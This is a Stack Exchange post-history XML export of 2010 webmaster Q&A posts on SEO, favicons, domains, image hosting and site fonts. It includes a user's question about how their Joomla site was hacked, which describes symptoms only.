  <row Id="12985" PostHistoryTypeId="2" PostId="6498" RevisionGUID="6824296c-d5a5-44aa-a0bd-ce18023ec21c" CreationDate="2010-12-08T23:46:25.250" UserId="3590" Text="reading your question, (sounds an interesting project) a few things come in my mind, if i would be one of your clients, I would value:&#xD;&#xA;&#xD;&#xA; - **Readability**  &#xD;&#xA;    (generally, as well as your specific use for accounting application)&#xD;&#xA;&#xD;&#xA; - **Purpose**  &#xD;&#xA;     support for special characters unique to your purposes/accounting. imagine how embarrasing it would be for a special currency like Japanese Yen or Indian Rupees to not be supported for international traders, instantly reavealing the difference between truly professional software and another cheap application.&#xD;&#xA;&#xD;&#xA; - **Aacceptance**  &#xD;&#xA;    how well has a font proven itself to be worthy of longterm use?&#xD;&#xA;&#xD;&#xA; - **Audience**  &#xD;&#xA;   (older clients have difficulty reading what I think is small and elegant)&#xD;&#xA;&#xD;&#xA; - **Numbers**  &#xD;&#xA;   Accounting is organising numbers and notes. Perhaps an equal challenge is to seek a typeface that presents numbers beautifully too, since i would stare more often at my year income of ` 426,119.00 $ ` than all the words combined in a posting, if only that was my income :I&#xD;&#xA;" />
  <row Id="12986" PostHistoryTypeId="2" PostId="6499" RevisionGUID="6ec13490-f094-43b6-bbdf-9ce5272b1c8e" CreationDate="2010-12-08T23:59:44.507" UserId="3748" Text="&#xD;&#xA;&#xD;&#xA;How do I allow visitors on my site to share my photos, on their Facebook wall/news feed?&#xD;&#xA;&#xD;&#xA;I see that there is a &quot;share&quot; or &quot;like&quot; option from Facebook but that seems to share the whole page.&#xD;&#xA;&#xD;&#xA;I would like to have it so that each picture has a small Facebook icon next to it and when they click it, that specific image only is added to their Facebook news feed/wall.&#xD;&#xA;&#xD;&#xA;My site is in ASP.NET 3.5 using C#. I can develop in C# so if that is a route to what I am trying to achieve that is fine.&#xD;&#xA;&#xD;&#xA;Thank You.&#xD;&#xA;" />
  <row Id="12987" PostHistoryTypeId="1" PostId="6499" RevisionGUID="6ec13490-f094-43b6-bbdf-9ce5272b1c8e" CreationDate="2010-12-08T23:59:44.507" UserId="3748" Text="How do I allow visitors on my site to share my photos on their facebook news feed?" />
  <row Id="12988" PostHistoryTypeId="3" PostId="6499" RevisionGUID="6ec13490-f094-43b6-bbdf-9ce5272b1c8e" CreationDate="2010-12-08T23:59:44.507" UserId="3748" Text="&lt;html&gt;&lt;web-development&gt;&lt;facebook&gt;&lt;asp.net&gt;&lt;social-media&gt;" />
  <row Id="12989" PostHistoryTypeId="5" PostId="6487" RevisionGUID="89d44d8c-46ba-4a12-ada6-98b17f211562" CreationDate="2010-12-09T00:06:11.507" UserId="3142" Comment="Described where screenshot came from" Text="Make sure you take advantage of parameter handling in Google Webmaster tools. True, it is better to have friendly URLs by the way of a URL Rewriter, but until you're ready to deploy that (there are probably higher priority issues), it's good to make sure that Google knows what your parameters are and has them marked properly.&#xD;&#xA;&#xD;&#xA;See my picture from Google Webmaster Tools pasted below.&#xD;&#xA;&#xD;&#xA;For example, you might tell it to ignore a parameter that carries a session or user related value (look at Amazon URLs for an example -- non-essential items can be ignored by the spider).&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/Aln4g.jpg" />
  <row Id="12990" PostHistoryTypeId="5" PostId="6185" RevisionGUID="ce335581-cbd2-4123-97c6-edd721c46aed" CreationDate="2010-12-09T00:14:11.740" UserId="3590" Comment="added 35 characters in body" Text="im trying to make an up to date chart of meta tags, for all of us, with their purposes, their use and their good (or bad) effects on search engines/being found. Also any body knows new/promising meta tags? I will add yours into my list so this chart is a result of live discussion and up to date. Also, it would be creative to invent your own useful meta, because ***we are the ones making the web***, or aren't we?&#xD;&#xA;&#xD;&#xA;*LEGEND*  &#xD;&#xA;**P** PURPOSE? What does this meta tag do in 2011, if anything  &#xD;&#xA;**N** NECESSARY? Does every site really needs it or not?  &#xD;&#xA;**G** GOOD wether it will have a good effect for your site to be found  &#xD;&#xA;**I** INVENTED meta tag, who knows it will be accepted in a year!  &#xD;&#xA;&#xD;&#xA;    META &quot;METANAME&quot; = PURPOSE?   -   NECESSARY?   -   GOOD EFFECT?&#xD;&#xA;&#xD;&#xA;    #### important&#xD;&#xA;    meta &quot;title&quot; = P consice summary + teaser - N very - G extremely&#xD;&#xA;    meta &quot;description&quot; = P description + teaser - N yes - G very&#xD;&#xA;    meta &quot;robots&quot; = P if needed, to skip default dmoz/yahoodir listing - N no - G?&#xD;&#xA;&#xD;&#xA;    #### new &amp; promising! Thanks for input (John, )&#xD;&#xA;    meta &quot;original-source&quot; P url of whoever broke the news gets credits - N? - G?&#xD;&#xA;    meta &quot;syndication-source&quot;  P url for syndication of published news - N? - G?&#xD;&#xA;    meta &quot;canonical&quot; P? - N? - G?&#xD;&#xA;&#xD;&#xA;    #### seems obsolete&#xD;&#xA;    meta &quot;keywords&quot; = P some keywords - N+G not for google but yahoo likes them&#xD;&#xA;    meta &quot;language&quot; = P overrule guesswork by defining language - N no - G? &#xD;&#xA;    meta &quot;page-topic&quot; = P topic/theme - N? - G?&#xD;&#xA;    meta &quot;abstract&quot; = P short summary - N? - G?&#xD;&#xA;    meta &quot;copyright&quot; = ?&#xD;&#xA;&#xD;&#xA;    #### invented by me&#xD;&#xA;    meta &quot;audience&quot; = P filteres audience: &quot;+seniors, +parents, -children, -youth&quot;&#xD;&#xA;    meta &quot;mood&quot; = P specifies textual style: &quot;discussion, informative, commercial,&#xD;&#xA;                  sexual, fictional, scientific, romantic, therapeutic, technical&quot;" />
  <row Id="12991" PostHistoryTypeId="5" PostId="6167" RevisionGUID="f0d66636-2078-41d8-b60c-49e78b6d6d50" CreationDate="2010-12-09T01:25:50.477" UserId="1381" Comment="deleted 68 characters in body" Text="It appears to me that rackspace somehow freezes cloud VMs after some idle time. This means the first page request to a php page takes much longer to respond than the subsequent requests.&#xD;&#xA;&#xD;&#xA;This is in some cases good, in other cases not acceptable.&#xD;&#xA;&#xD;&#xA;I am actually querying a machine with wget from a different host now to keep it &quot;alive&quot;. But I wonder what frequency would be necessary. Does anyone know the time period after which they send a VM to &quot;sleep&quot;? I guess it would be some minutes.&#xD;&#xA;&#xD;&#xA;EDIT: There is absolutely no caching involved on the php site.&#xD;&#xA;&#xD;&#xA;It just recently moved from another vhost and there was never such latency on the first request.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12995" PostHistoryTypeId="5" PostId="6480" RevisionGUID="20716fdd-e3db-4ca9-bf2c-0d1cce5dfd41" CreationDate="2010-12-09T04:31:06.987" UserDisplayName="JP19" Comment="edited body" Text="There are many services that submit your website to multiple search engines. Are there any that allow you to easily submit *multiple* websites to multiple search engines?&#xD;&#xA;&#xD;&#xA;regards,&#xD;&#xA;&#xD;&#xA;JP" />
  <row Id="12996" PostHistoryTypeId="2" PostId="6501" RevisionGUID="ea6b7e5f-5cf6-4020-b4dc-0fb4b390c2c7" CreationDate="2010-12-09T04:41:30.737" UserId="2618" Text="Specify your canonical&#xD;&#xA;see http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;canonical&quot; href=&quot;http://www.example.com/product.php?item=swedish-fish&quot; /&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13001" PostHistoryTypeId="2" PostId="6505" RevisionGUID="c6f1a0d8-1242-466e-8f78-be2bf3b302cd" CreationDate="2010-12-09T05:43:55.500" UserId="10" Text="Try renaming your favicon file to be favicon.ico and putting it in the root (/) directory." />
  <row Id="13002" PostHistoryTypeId="2" PostId="6504" RevisionGUID="a12884f1-9ef8-417f-b31a-d53c7ed7e0e2" CreationDate="2010-12-09T05:41:35.643" UserDisplayName="400_the_cat" Text="I have an HTML file with the following markup in the head tag:&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;shortcut icon&quot; href=&quot;myFavicon.ico&quot; /&gt;&#xD;&#xA;&#xD;&#xA;With that, I expect to see my &quot;myFavicon.ico&quot; icon display in Chrome's tab and bookmark bar, but instead it's showing Youtube's favicon (i have a link to youtube in my markup). This make's no sense to me. It works okay in Firefox. Any ideas?" />
  <row Id="13003" PostHistoryTypeId="1" PostId="6504" RevisionGUID="a12884f1-9ef8-417f-b31a-d53c7ed7e0e2" CreationDate="2010-12-09T05:41:35.643" UserDisplayName="400_the_cat" Text="Google Chrome displays the wrong favicon that I've linked to in my html." />
  <row Id="13004" PostHistoryTypeId="3" PostId="6504" RevisionGUID="a12884f1-9ef8-417f-b31a-d53c7ed7e0e2" CreationDate="2010-12-09T05:41:35.643" UserDisplayName="400_the_cat" Text="&lt;html&gt;&lt;google-chrome&gt;&lt;favicon&gt;" />
  <row Id="13005" PostHistoryTypeId="17" PostId="6504" RevisionGUID="d8420972-2122-4439-bddb-077423f13c7a" CreationDate="2010-12-09T05:44:09.493" UserId="-1" Comment="from http://stackoverflow.com/questions/4395229/google-chrome-displays-the-wrong-favicon-that-ive-linked-to-in-my-html" Text="" />
  <row Id="13007" PostHistoryTypeId="2" PostId="6507" RevisionGUID="24b75d00-2972-4c26-a10c-f00781b6fdda" CreationDate="2010-12-09T06:23:21.830" UserId="3753" Text="As long as the font isn't obnoxious and you make judicious use of styles such as bold and italics, you're pretty much on the right track.&#xD;&#xA;&#xD;&#xA;Also, **DO NOT** simply set the font in a web application to simply a font family as the first choice, ever.  I had a tech support call once where a lady designed her site on Safari and was quite dismayed that IE wasn't so kind to her header font; turns out she set it simply to &quot;script&quot;, which defaulted to the browser's choice for that family." />
  <row Id="13008" PostHistoryTypeId="2" PostId="6508" RevisionGUID="d402669d-44e8-498b-85d2-8c78550117b7" CreationDate="2010-12-09T06:26:28.427" UserId="3753" Text="Intuit's WebListings service will get you submitted to about a hundred different search engines.  It's primarily intended for businesses with a local presence, but it's also a way to get some great coverage with minimal effort.  Granted, it has to be purchased separately for each site you're using it to submit, so it might not be the most effective solution for someone with several sites, but it'll get the job done well for a single site." />
  <row Id="13010" PostHistoryTypeId="2" PostId="6509" RevisionGUID="17d71614-84ea-469d-94cf-dc22d7edc0b8" CreationDate="2010-12-09T06:36:03.670" UserId="3753" Text="Consider their portfolio; make sure there is work in there that reflects the style you want on your site.  Also ensure that they fully understand what your requirements are for the interface, and ideally see if they have examples they've done for others that can give you a sense of what you'll be paying for.&#xD;&#xA;&#xD;&#xA;Also settle in advance how the mockup/review phase will proceed.  This protects both of you by ensuring there is a common understanding for when the final design and coding can proceed and when the job is officially considered completed." />
  <row Id="13011" PostHistoryTypeId="2" PostId="6510" RevisionGUID="c17ab5df-1f0d-4f42-805e-c82c1fd34dc3" CreationDate="2010-12-09T06:40:53.230" UserId="3753" Text="That's a viable option, especially if you want to keep your mail (MX record) with the domain registrar.  If you do that, however, be sure to move the CNAME record over as well; A and CNAME really should be kept together as a rule." />
  <row Id="13012" PostHistoryTypeId="2" PostId="6511" RevisionGUID="52fedcc5-24de-4cef-bef9-8e8ac2a050f9" CreationDate="2010-12-09T07:42:49.353" UserId="2026" Text="You can for [imageshake][1], [photobucket][2] like server. But both are banned on many of the servers(even in my office).&#xD;&#xA;&#xD;&#xA;[flicker][3] will be a very good option for you since its provide APIs to access and manipulate your stored images at their server.&#xD;&#xA;&#xD;&#xA;You also can refer [picasa][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://imageshack.us/&#xD;&#xA;  [2]: http://www.photobucket.com/&#xD;&#xA;  [3]: http://www.flickr.com/&#xD;&#xA;  [4]: http://picasa.google.com/" />
  <row Id="13013" PostHistoryTypeId="2" PostId="6512" RevisionGUID="0e8bb454-e5c8-4a63-a4f4-dbf25de7c677" CreationDate="2010-12-09T07:46:15.790" UserId="2026" Text="I am surprised, no one suggested [blueprint][1] till now. Well! this is just a CSS framework which can down your designing effort.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.blueprintcss.org/" />
  <row Id="13014" PostHistoryTypeId="2" PostId="6513" RevisionGUID="b30612b6-e6cc-470d-bc65-5b5d5419d92e" CreationDate="2010-12-09T08:05:07.110" UserDisplayName="Michael Ebert" Text="An important SEO consideration is your site's internal linking scheme--internal linking affects both spiderability and the weighting of pages in your site.&#xD;&#xA;&#xD;&#xA;One of the guidelines for internal linking is that pages should contain no more than ~100 links--more than 100 starts to look spammy (to a crawler) and dilutes the value of each link to the point where each link isn't very valuable at all, even though you're linking from a high-authority page.&#xD;&#xA;&#xD;&#xA;It's interesting to note that the Stack Overflow home page has approximately 700 links in its source code, whereas Efreedom only has about 35. Individual topic pages on SO have 100+ links, while Efreedom only has about 30.&#xD;&#xA;&#xD;&#xA;All that being said, the Google Index serving me results seems to be getting things right, with SO on top (at least for the 10 searches I tried)." />
  <row Id="13015" PostHistoryTypeId="2" PostId="6514" RevisionGUID="712b5eb2-e8f6-49f0-8796-58e2af52b0ea" CreationDate="2010-12-09T08:19:01.647" UserDisplayName="sara jones" Text="I'm looking for a tool (free/paid) like a program that help me in reviewing my website style and interface such as explain the content of the home page (footer, header ..... ) taking snapshots and write comment on them ... I know this can be done using (print screen) and the MS paint but I need a more professional tool to use .&#xD;&#xA;&#xD;&#xA;thank you in advance" />
  <row Id="13016" PostHistoryTypeId="1" PostId="6514" RevisionGUID="712b5eb2-e8f6-49f0-8796-58e2af52b0ea" CreationDate="2010-12-09T08:19:01.647" UserDisplayName="sara jones" Text="Reviewing a website .." />
  <row Id="13017" PostHistoryTypeId="3" PostId="6514" RevisionGUID="712b5eb2-e8f6-49f0-8796-58e2af52b0ea" CreationDate="2010-12-09T08:19:01.647" UserDisplayName="sara jones" Text="&lt;website-design&gt;&lt;website-analytics-tools&gt;" />
  <row Id="13021" PostHistoryTypeId="2" PostId="6516" RevisionGUID="fea02db6-9244-400b-986b-64c74c1ddb68" CreationDate="2010-12-09T08:59:27.400" UserId="3757" Text="I wonder if there's any location-specific issue here? &#xD;&#xA;&#xD;&#xA;From my desk in central London (the UK version) I just Googled `uiviewcontroller best practices` and the first three results were SO, with a single efreedom link at #4. That's a [google.co.uk][1] search.&#xD;&#xA;&#xD;&#xA;In general, I think I see SO links higher in Google's search results - I actually wasn't aware of eFreedom at all prior to today.&#xD;&#xA;&#xD;&#xA;I note that [Alexa's eFreedom entry](http://www.alexa.com/siteinfo/efreedom.com) has it at #568 for India - perhaps there's some particular bias with Indian-based searches?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://google.co.uk" />
  <row Id="13022" PostHistoryTypeId="2" PostId="6517" RevisionGUID="3424c101-f6b2-434c-b296-978bac028c36" CreationDate="2010-12-09T09:47:54.750" UserId="3467" Text="Good question, I'm currently struggling with this myself at the moment so I hope some good answers will be posted. My personal view on this: I think one of the important questions you'll have to ask yourself is not only how much space you'll be needing in terms of storage, but also how much traffic you're expecting and what growth rate.&#xD;&#xA;&#xD;&#xA;If it's a personal/group photo collection (like your holiday pictures, for example) that you and a handful of people will sometimes visit, the traffic won't be too high and the growth will be overseeable. A fixed hosting plan will do, and I'd advice you to take your entire website and switch to another host, not host your site at provider x and your files at provider y.&#xD;&#xA;&#xD;&#xA;On the other end of the spectrum, if it's an open-to-everyone image sharing website with viral potential (like the icanhascheeseburger network) you're definitely going to need a flexible hosting plan that's not only prepared for growth over time (multiple dataplans, high bandwidth and storage limits) but also for huge spikes in visitors (the [slashdot][1] effect). &#xD;&#xA;&#xD;&#xA;For the latter cloud storage may be a really good idea. While the visits and storage is relatively low you pay low prices, albeit higher compared to 'fixed' hosting plans. As your site grows rapidly the storage + costs will automatically grow with you and in time will become cheaper compared to fixed hosting plans, but also save you the trouble of having to upgrade hosting plans or even having downtimes because of high traffic spikes. In this case, stick with a *good* host for the website and put your images in the cloud. &#xD;&#xA;&#xD;&#xA;Make sure your website host can not only handle the requests in terms of bandwidth but also in terms of CPU power. Especially shared hosting can give you a lot of trouble if the website you host takes up too much processor power (like siteground.com, who promise unlimited bandwidth and storage but even with 6 small wordpress blogs I'm hitting my cpu limit almost daily.. this sucks! try to avoid it).&#xD;&#xA;&#xD;&#xA;I wish I could back this up for you with some cool statistics but I've yet to find that out myself. In my case it's the second of the stated cases (viral-like image sharing site), but I'm not sure how many visitors to expect and at what growth rate, so I'm sticking to fixed hosting plans until I'm coming close to 75% of storage/bandwidth used. I do think I'll be switching to Amazon S3 hosting very soon, I'll let you know if there's progress.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Slashdot_effect" />
  <row Id="13023" PostHistoryTypeId="2" PostId="6518" RevisionGUID="e978cfef-33e6-43ae-8b1e-0a114ed1fabd" CreationDate="2010-12-09T10:32:16.447" UserId="3610" Text="Pretty much everyone uses amazon s3 for this kind of thing. Extremely cheap and reliable." />
  <row Id="13024" PostHistoryTypeId="2" PostId="6519" RevisionGUID="22ff33df-0db9-484e-8771-06e673365a90" CreationDate="2010-12-09T11:07:40.563" UserId="1955" Text="I have heard(read) SEO experts who claims that you server position will affect your SEO. In the latest example it was about an international site targeting the Russian market so:&#xD;&#xA;&#xD;&#xA; 1. Does the server location affect how many visitor you will get from specific country.&#xD;&#xA; 2. Does the TLD affects SEO outside that it is easy to type the TLD of your country&#xD;&#xA;&#xD;&#xA;If the above have any effect what will be if you by TLD domain for the countries you are targeting and make them redirect to you international one, for example:&#xD;&#xA;&#xD;&#xA;domain.com - international&#xD;&#xA;domain.ru - redirects to domain.com/ru/&#xD;&#xA;domain.de - redirects to domain.com/de/&#xD;&#xA;" />
  <row Id="13025" PostHistoryTypeId="1" PostId="6519" RevisionGUID="22ff33df-0db9-484e-8771-06e673365a90" CreationDate="2010-12-09T11:07:40.563" UserId="1955" Text="Does server location or TLD affects SEO" />
  <row Id="13026" PostHistoryTypeId="3" PostId="6519" RevisionGUID="22ff33df-0db9-484e-8771-06e673365a90" CreationDate="2010-12-09T11:07:40.563" UserId="1955" Text="&lt;seo&gt;&lt;domains&gt;&lt;tld&gt;" />
  <row Id="13027" PostHistoryTypeId="2" PostId="6520" RevisionGUID="60f8ee74-1bc7-48ac-bc29-ad200d3a145e" CreationDate="2010-12-09T11:57:18.130" UserId="3467" Text="I highly doubt the server location will make any SEO difference. The TLD however does, as far as I know. When users use their language-specific Google (i.e. Google.ru) they will more likely find yourdomain.ru in the top of their results than ru.yourdomain.com, purely based on the TLD.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13028" PostHistoryTypeId="2" PostId="6521" RevisionGUID="f52ab0cc-1e35-4525-9ca8-7af5f86a25bf" CreationDate="2010-12-09T12:01:11.980" UserId="791" Text="Should I add a direct link to pdf files in my (xml) [sitemap][1]?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sitemaps.org/" />
  <row Id="13029" PostHistoryTypeId="1" PostId="6521" RevisionGUID="f52ab0cc-1e35-4525-9ca8-7af5f86a25bf" CreationDate="2010-12-09T12:01:11.980" UserId="791" Text="Shoud I include pdf files in my sitemap.xml" />
  <row Id="13030" PostHistoryTypeId="3" PostId="6521" RevisionGUID="f52ab0cc-1e35-4525-9ca8-7af5f86a25bf" CreationDate="2010-12-09T12:01:11.980" UserId="791" Text="&lt;sitemap&gt;" />
  <row Id="13031" PostHistoryTypeId="2" PostId="6522" RevisionGUID="128aaa3a-b38b-4996-9f6b-2d3e4d3ef64a" CreationDate="2010-12-09T12:05:41.770" UserId="3759" Text="I'm looking for a private PHP proxy to put it on my hosting.&#xD;&#xA;&#xD;&#xA;I see there is lots of them so I'm wondering if I could get a recommendation on which ones are the best? Or something like &quot;this one is better then the rest because of: ...&quot;?&#xD;&#xA;&#xD;&#xA;Thank you!&#xD;&#xA;&#xD;&#xA;ps. - mods, please add 'private' and 'proxy' tags. thank you" />
  <row Id="13032" PostHistoryTypeId="1" PostId="6522" RevisionGUID="128aaa3a-b38b-4996-9f6b-2d3e4d3ef64a" CreationDate="2010-12-09T12:05:41.770" UserId="3759" Text="Which private PHP proxy?" />
  <row Id="13033" PostHistoryTypeId="3" PostId="6522" RevisionGUID="128aaa3a-b38b-4996-9f6b-2d3e4d3ef64a" CreationDate="2010-12-09T12:05:41.770" UserId="3759" Text="&lt;php&gt;" />
  <row Id="13034" PostHistoryTypeId="2" PostId="6523" RevisionGUID="5f006755-c54c-4bee-8768-967e1f0b285f" CreationDate="2010-12-09T12:08:39.317" UserId="2293" Text="try Firefox addon named &quot;Fireshot&quot;." />
  <row Id="13035" PostHistoryTypeId="6" PostId="6522" RevisionGUID="39b79dcc-3738-446f-b3d8-b2290b216838" CreationDate="2010-12-09T12:29:22.757" UserId="1955" Comment="edited tags" Text="&lt;php&gt;&lt;proxy&gt;" />
  <row Id="13036" PostHistoryTypeId="2" PostId="6524" RevisionGUID="ef9ae7ed-3384-458e-a817-d64a1483f1a8" CreationDate="2010-12-09T12:48:17.153" UserId="1253" Text="If you want them indexed, yes. Otherwise, no." />
  <row Id="13044" PostHistoryTypeId="2" PostId="6525" RevisionGUID="4bf6fff4-5969-43d7-bae5-46245e177745" CreationDate="2010-12-09T13:07:59.890" UserId="1253" Text="[Google: Working with multi-regional websites][1]:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2010/03/working-with-multi-regional-websites.html" />
  <row Id="13045" PostHistoryTypeId="5" PostId="6525" RevisionGUID="2e9044f3-5ac2-4b88-b37d-54da5d728945" CreationDate="2010-12-09T13:20:37.777" UserId="1253" Comment="added 66 characters in body" Text="[Google: Working with multi-regional websites][1]&#xD;&#xA;&#xD;&#xA;FYI, all of those redirects won't do anything for you SEO wise.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2010/03/working-with-multi-regional-websites.html" />
  <row Id="13046" PostHistoryTypeId="2" PostId="6526" RevisionGUID="1ead91a1-054d-47ed-ae61-58d1d6c0e0f7" CreationDate="2010-12-09T13:39:59.890" UserId="1429" Text="The image storage used by SE and this site is http://imgur.com/register/upgrade&#xD;&#xA;You might want to give a try to it. You can test its usuablity from a user perspective by attempting to add an image in your question." />
  <row Id="13047" PostHistoryTypeId="2" PostId="6527" RevisionGUID="89f39f07-2dff-41c9-ac26-6071c7117e46" CreationDate="2010-12-09T13:40:07.983" UserDisplayName="l3lakkat" Text="yeah. put it in the root folder www/yoursite/favicon.ico&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;icon&quot; href=&quot;favicon.ico&quot; /&gt; &#xD;&#xA;    &lt;link rel=&quot;shortcut icon&quot; href=&quot;favicon.ico&quot; /&gt;" />
  <row Id="13048" PostHistoryTypeId="2" PostId="6528" RevisionGUID="61f496a6-6a19-4c38-8774-5bd847e7332c" CreationDate="2010-12-09T13:53:25.070" UserId="2930" Text="The question may sound stupid but I find it very difficult to understand that why do we have to pay for a domain name if the web is free?And who do I pay?Why do I have to pay for a domain name?" />
  <row Id="13049" PostHistoryTypeId="1" PostId="6528" RevisionGUID="61f496a6-6a19-4c38-8774-5bd847e7332c" CreationDate="2010-12-09T13:53:25.070" UserId="2930" Text="Why do we buy the domain name?" />
  <row Id="13050" PostHistoryTypeId="3" PostId="6528" RevisionGUID="61f496a6-6a19-4c38-8774-5bd847e7332c" CreationDate="2010-12-09T13:53:25.070" UserId="2930" Text="&lt;domains&gt;" />
  <row Id="13051" PostHistoryTypeId="2" PostId="6529" RevisionGUID="4dce5816-7d8e-4e6a-b1a0-b2aacb39445a" CreationDate="2010-12-09T14:07:56.703" UserId="3467" Text="Simplified answer:&#xD;&#xA;&#xD;&#xA;You don't actually buy the domain name, you rent it from your registrar. The price you pay them is for the service of routing the domain name to an actual server. Without that service a domain name would lead nowhere, they have to point visitors to the right server. They need servers to do that, which you pay for.&#xD;&#xA;&#xD;&#xA;There's a lot more to it that I'm not too sure about myself, but I bet there's someone on where who knows more about it :)" />
  <row Id="13052" PostHistoryTypeId="2" PostId="6530" RevisionGUID="0abad869-4aad-4dd7-97a3-e7cd6d6ba667" CreationDate="2010-12-09T14:11:58.657" UserId="3718" Text="The web isn't free. It costs money to make it work, although this cost is spread over various companies etc that run the web servers that serve web pages to the masses.&#xD;&#xA;&#xD;&#xA;We buy a domain name so that we own it for a certain amount of time, and we pay the company who we register it with to host it on their name servers. If the domain name isn't on a name server then no one will be able to reach your website. If these companies gave the domain names away for free, how could they afford to run their name servers?&#xD;&#xA;&#xD;&#xA;But, this doesn't mean you should go paying over the odds for a domain name. Nominet (the UK registrar agency) charges it's members £5 for a .co.uk. I've worked for a company before (before I knew any better I might add) who would charge customers £25 for a .co.uk. Places like 123-reg.co.uk offer reasonable prices for domains.&#xD;&#xA;&#xD;&#xA;The web, unfortunately, mirrors real life. Nothing is free, everything that makes it work costs a certain amount of money to run." />
  <row Id="13053" PostHistoryTypeId="5" PostId="6525" RevisionGUID="2ae57900-bf12-46b9-ac06-db1216e0113c" CreationDate="2010-12-09T14:12:40.000" UserId="1253" Comment="added 1775 characters in body" Text="[Google: Working with multi-regional websites][1]&#xD;&#xA;&#xD;&#xA;&gt; Google generally uses the following&#xD;&#xA;&gt; elements to determine the geotargeting&#xD;&#xA;&gt; of a website (or a part of a website):&#xD;&#xA;&gt; &#xD;&#xA;&gt; **Use of a ccTLD** is generally a strong signal for users since it&#xD;&#xA;&gt; explicitly specifies a single country&#xD;&#xA;&gt; in an unmistakable way.&#xD;&#xA;&gt; &#xD;&#xA;&gt; or&#xD;&#xA;&gt; &#xD;&#xA;&gt; **Webmaster Tools' manual geotargeting for gTLDs** (this can be on a domain,&#xD;&#xA;&gt; subdomain or subdirectory level); more&#xD;&#xA;&gt; information on this can be found in&#xD;&#xA;&gt; our blog post and in the Help Center.&#xD;&#xA;&gt; With region tags from geotargeting&#xD;&#xA;&gt; being shown in search results, this&#xD;&#xA;&gt; method is also very clear to users.&#xD;&#xA;&gt; Please keep in mind that it generally&#xD;&#xA;&gt; does not make sense to set a&#xD;&#xA;&gt; geographic target if the same pages on&#xD;&#xA;&gt; your site target more than a single&#xD;&#xA;&gt; country (say, all German-speaking&#xD;&#xA;&gt; countries) — just write in that&#xD;&#xA;&gt; language and do not use the&#xD;&#xA;&gt; geotargeting setting (more on writing&#xD;&#xA;&gt; in other languages will follow soon!).&#xD;&#xA;&gt; &#xD;&#xA;&gt; **Server location** (through the IP address of the server) is frequently&#xD;&#xA;&gt; near your users. However, some&#xD;&#xA;&gt; websites use distributed content&#xD;&#xA;&gt; delivery networks (CDNs) or are hosted&#xD;&#xA;&gt; in a country with better webserver&#xD;&#xA;&gt; infrastructure, so we try not to rely&#xD;&#xA;&gt; on the server location alone.&#xD;&#xA;&gt; &#xD;&#xA;&gt; **Other signals can give us hints**. This could be from local addresses &amp;&#xD;&#xA;&gt; phone numbers on the pages, use of&#xD;&#xA;&gt; local language and currency, links&#xD;&#xA;&gt; from other local sites, and/or the use&#xD;&#xA;&gt; of Google's Local Business Center&#xD;&#xA;&gt; (where available).&#xD;&#xA;&gt; &#xD;&#xA;&gt; Note that we do not use locational&#xD;&#xA;&gt; meta tags (like &quot;geo.position&quot; or&#xD;&#xA;&gt; &quot;distribution&quot;) or HTML attributes for&#xD;&#xA;&gt; geotargeting. While these may be&#xD;&#xA;&gt; useful in other regards, we've found&#xD;&#xA;&gt; that they are generally not reliable&#xD;&#xA;&gt; enough to use for geotargeting.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;FYI, all of those redirects won't do anything for you SEO wise.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2010/03/working-with-multi-regional-websites.html" />
  <row Id="13054" PostHistoryTypeId="2" PostId="6531" RevisionGUID="be0e469b-1570-489a-9b27-82f028dc1868" CreationDate="2010-12-09T16:28:48.500" UserId="1953" Text="You get a domain name (from a non-technical standpoint) for marketing and usability reasons. You could if you like forgo the domain name and just use the IP address of your server, but no one would remember it and many would be skeptical to visit it.  &#xD;&#xA;&#xD;&#xA;The domain registrars allow you to convert your address into something brandable, I think of it this way do your offline marketing materials say this is from &quot;123 made up street, example town USA&quot; or do they say this is from &quot;Examples R Us at 123 made up street, example town USA&quot;" />
  <row Id="13055" PostHistoryTypeId="2" PostId="6532" RevisionGUID="1238bf17-4abc-4d0e-b123-85329a546b8e" CreationDate="2010-12-09T17:06:02.953" UserId="3307" Text="[This site][1] gives Tumblrmap as a good example.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tothepc.com/archives/generate-xml-sitemap-of-tumblr-blog-submit-to-google/" />
  <row Id="13056" PostHistoryTypeId="2" PostId="6533" RevisionGUID="abb89885-d6f1-4163-8b93-e4a6e037754a" CreationDate="2010-12-09T17:13:03.230" UserId="3307" Text="Can you not use AdSense but filter it so it only shows links to sites about books?" />
  <row Id="13057" PostHistoryTypeId="2" PostId="6534" RevisionGUID="396509b6-3c61-4442-9fa4-9ec9f95ad5c6" CreationDate="2010-12-09T17:17:28.410" UserId="1870" Text="I run a small website on some Joomla 1.5 version. It appears that today it was hacked: The `index.php` and `index2.php` files were overwritten, the administrator account had its password changed, and the `images` folder contained a probably malicious executable file.&#xD;&#xA;&#xD;&#xA;I was able to restore the `index` pages with a backup and reset the admin user with another privileged user account.&#xD;&#xA;&#xD;&#xA;As I'm not that much of an expert in these things, my question is: _How could this site have been infected?_ Like in: How was it possible to actually delete and replace certain files and store an executable in a folder. How could someone change the admin password, but leave the rest untouched?&#xD;&#xA;&#xD;&#xA;(I am very aware of the importance of installing core version updates - I am more interested in how such an attack could have been executed.)&#xD;&#xA;&#xD;&#xA;Thank you for any insightful answer." />
